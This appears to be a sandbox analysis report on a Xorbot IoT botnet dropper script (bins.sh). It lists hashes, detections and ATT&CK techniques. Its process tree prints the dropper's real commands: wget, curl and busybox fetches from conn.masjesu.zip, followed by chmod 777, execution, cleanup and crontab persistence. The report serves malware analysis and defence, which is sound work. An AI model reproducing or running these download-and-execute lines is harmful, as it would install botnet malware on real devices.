xorbot | 115729fe1c6f7caf8f8cd9867314bd5ac2afbf8f2bba5996992a3e7cf042ad71

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/12/2024, 07:32

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General

Target

bins.sh
Size

10KB
MD5

98622bdc69acc97215b60196c5c0e9ab
SHA1

6b47f8cac4d58b088cf561f3d12202dd44ea71da
SHA256

115729fe1c6f7caf8f8cd9867314bd5ac2afbf8f2bba5996992a3e7cf042ad71
SHA512

f6ea22965640378467ea9b5e1b1cf448bd5b2bd1b9b262dbe94cd8cabe593ccfb9c8029a6f821667bf73598299b264f4f513ca46506d86fa0f892d1a0c788908
SSDEEP

192:jxhMPL5B9RmCVMkonAcf6K46ri3GmhgksXxhMPLLAcf6KVmCVMkzlGmhgkS:jxhMPL/9RmCVMko46riixhMPLBmCVMkS

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 8 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-11.dat	family_xorbot
behavioral3/files/fstream-15.dat	family_xorbot
behavioral3/files/fstream-17.dat	family_xorbot
behavioral3/files/fstream-19.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (797) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod
812	chmod
826	chmod
834	chmod
866	chmod
880	chmod
888	chmod
738	chmod
779	chmod
896	chmod
990	chmod
746	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m	739	2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
/tmp/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO	747	UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
/tmp/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A	758	rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
/tmp/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w	781	zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
/tmp/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx	814	lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
/tmp/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa	827	WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
/tmp/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry	835	uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
/tmp/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q	867	aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
/tmp/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe	881	Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
/tmp/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1	889	k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
/tmp/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W	897	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W

Renames itself 1 IoCs

pid	Process
898	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.qp1XZZ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/465/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1023/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/20/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/493/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/906/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/943/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/999/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/941/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/983/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1019/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1022/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1025/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/19/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/945/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/970/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/991/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1017/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1045/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/349/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/921/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/953/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/978/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1034/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/323/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/931/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/932/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/940/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/954/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/926/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/949/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/229/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/24/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/909/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/919/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/18/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/3/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/6/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/7/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/913/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/929/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/950/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1003/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1021/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/988/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1011/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/927/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/968/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1016/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/944/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/958/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/996/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1013/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1035/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/502/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/912/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/971/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/974/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
File opened for reading	/proc/1015/cmdline	Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W

System Network Configuration Discovery 1 TTPs 38 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
879	busybox
893	curl
762	curl
871	wget
776	busybox
833	busybox
862	busybox
884	wget
908	curl
1006	curl
743	curl
751	curl
804	busybox
830	wget
885	curl
907	wget
714	wget
761	wget
745	busybox
750	wget
831	curl
909	busybox
728	curl
736	busybox
851	curl
1005	wget
892	wget
895	busybox
819	wget
823	curl
825	busybox
785	wget
793	curl
838	wget
877	curl
887	busybox
742	wget
753	busybox

Writes file to tmp directory 33 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry	wget
File opened for modification	/tmp/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q	wget
File opened for modification	/tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m	wget
File opened for modification	/tmp/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A	busybox
File opened for modification	/tmp/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w	wget
File opened for modification	/tmp/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w	curl
File opened for modification	/tmp/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w	busybox
File opened for modification	/tmp/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A	wget
File opened for modification	/tmp/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe	busybox
File opened for modification	/tmp/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1	curl
File opened for modification	/tmp/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa	wget
File opened for modification	/tmp/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO	busybox
File opened for modification	/tmp/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q	busybox
File opened for modification	/tmp/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe	wget
File opened for modification	/tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m	busybox
File opened for modification	/tmp/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx	curl
File opened for modification	/tmp/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry	busybox
File opened for modification	/tmp/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry	curl
File opened for modification	/tmp/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1	busybox
File opened for modification	/tmp/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W	curl
File opened for modification	/tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m	curl
File opened for modification	/tmp/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx	wget
File opened for modification	/tmp/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa	curl
File opened for modification	/tmp/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa	busybox
File opened for modification	/tmp/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W	wget
File opened for modification	/tmp/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe	curl
File opened for modification	/tmp/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1	wget
File opened for modification	/tmp/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W	busybox
File opened for modification	/tmp/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO	wget
File opened for modification	/tmp/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO	curl
File opened for modification	/tmp/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A	curl
File opened for modification	/tmp/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx	busybox
File opened for modification	/tmp/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:705
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
  ./2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm 2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m
  2⤵
  PID:741
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
  ./UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm UWD6QhCyXk3GiH7NR8KzrhFte9U2FjAbkO
  2⤵
  PID:749
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod 777 rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
  ./rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm rvlCKEZVZzAH4H0KmzLeEhSS7AKUYRoJ7A
  2⤵
  PID:760
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
  ./zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm zJturdFzbKF40t4ttHfbJpFAUtlIZDfp7w
  2⤵
  PID:784
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:785
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
  ./lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm lnnpvj7nqcXLZrL4PO7It0WK1EvvUa6kRx
  2⤵
  PID:817
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
  ./WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm WB17g7niB5v1P5OWYBcVntHZc3b8upDAYa
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
  ./uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm uuLgZLBtSLdIam2I1VCPl1rwqnoJmKB8Ry
  2⤵
  PID:837
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod 777 aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
  ./aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm aYo9unHRMW9YmZI9rXCvf5q5vVyBTRJw5Q
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod 777 Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
  ./Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm Jx1Ab9SZwI3ZrqbgdLlYTeoDvk4pVBCGLe
  2⤵
  PID:883
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/chmod
  chmod 777 k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
  ./k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm k16Bo0JdO706496VSjmPJa3RjDTBtvh5V1
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod 777 Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
  ./Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:897
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:899
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:900
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:901
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:902
- /bin/rm
  rm Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vptLtxpNXWp96JhmaCihzec3sizd96FXRy
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vptLtxpNXWp96JhmaCihzec3sizd96FXRy
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vptLtxpNXWp96JhmaCihzec3sizd96FXRy
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 vptLtxpNXWp96JhmaCihzec3sizd96FXRy
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/vptLtxpNXWp96JhmaCihzec3sizd96FXRy
  ./vptLtxpNXWp96JhmaCihzec3sizd96FXRy
  2⤵
  PID:1003
- /bin/rm
  rm vptLtxpNXWp96JhmaCihzec3sizd96FXRy
  2⤵
  PID:1004
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4p3OSPN6T18MvLMOXBjN7VL0z92p0ndyvP
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4p3OSPN6T18MvLMOXBjN7VL0z92p0ndyvP
  2⤵
  - System Network Configuration Discovery
  PID:1006

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/2ihFKkvXuAUMnISAXaVNp2R3VAbsUQ3u3m

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

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/tmp/Ia0krktmetoiBT8qCxqZRQr36dNNtKbs1W

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
